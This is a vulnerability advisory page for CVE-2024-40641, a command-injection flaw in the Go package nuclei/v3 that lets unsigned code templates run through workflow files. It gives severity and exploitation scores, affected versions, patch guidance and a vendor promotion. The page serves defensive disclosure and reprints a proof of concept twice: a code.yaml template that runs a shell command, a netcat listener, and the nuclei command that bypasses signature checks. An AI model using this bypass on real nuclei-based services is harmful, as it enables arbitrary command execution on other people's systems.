Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐹
🐹 Go
Not in CISA KEV
HIGH severity

CVE-2024-40641 — v3

HIGH

CVE-2024-40641 is a high-severity (CVSS 7.4) OS Command Injection vulnerability in github.com/projectdiscovery/nuclei/v3. A fix is available for github.com/projectdiscovery/nuclei/v3 — see the affected versions and patch details below.

Unsigned code template execution through workflows in projectdiscovery/nuclei

Also known asGHSA-c3q9-c27p-cw9hGO-2024-2989
Published
Jul 17, 2024
Updated
Aug 12, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Sep 25, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for CVE-2024-40641.

EPSS Exploitation Probability

via FIRST.org ↗
0.3%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs21th percentile — riskier than 21% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

CVE-2024-40641 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 378,567 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected
🐹github.com/projectdiscovery/nuclei/v3

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

Find a way to execute code template without -code option and signature.

Details

write a code.yaml:

id: code

info:
  name: example code template
  author: ovi3


code:
  - engine:
      - sh
      - bash
    source: |
      id

http:
  - raw:
      - |
        POST /re HTTP/1.1
        Host: {{Hostname}}

        {{code_response}}

workflows:
  - matchers:
    - name: t

using nc to listen on 80:

nc -lvvnp 80

execute PoC template with nuclei:

./nuclei -disable-update-check  -w code.yaml -u http://127.0.0.1 -vv -debug

and nc will get id command output.

We use -w to specify a workflow file, not -t to template file. and notice there is a workflows field in code.yaml to pretend to be a workflow file.

Test in Linux and Nuclei v3.2.9

Impact

Some web applications inherit from Nuclei and allow users to edit and execute workflow files. In this case, users can execute arbitrary commands. (Although, as far as I know, most web applications use -t to execute)

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/projectdiscovery/nuclei/v3all versions3.3.0go get github.com/projectdiscovery/nuclei/v3@v3.3.0

Detection & mitigation playbook

Open-source dependency

  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/projectdiscovery/nuclei/v3, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update github.com/projectdiscovery/nuclei/v3 to 3.3.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2024-40641 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2024-40641 can be triaged on real exposure rather than presence alone.

Tailored to CVE-2024-40641. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary Find a way to execute code template without -code option and signature. ### Details write a `code.yaml`: ```yaml id: code info: name: example code template author: ovi3 code: - engine: - sh - bash source: | id http: - raw: - | POST /re HTTP/1.1 Host: {{Hostname}} {{code_response}} workflows: - matchers: - name: t ``` using nc to listen on 80: ```bash nc -lvvnp 80 ``` execute PoC template with nuclei: ```bash ./nuclei -disable-update-check -w code.yaml -u http://127.0.0.1 -vv -debug ``` and nc will get `id`
O3 Security · Impact-Aware SCA

Is CVE-2024-40641 in your dependencies?

O3 Security finds CVE-2024-40641 across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

Scan my dependencies How O3 SCA works
CVE-2024-40641: v3 (High 7.4) | O3 Security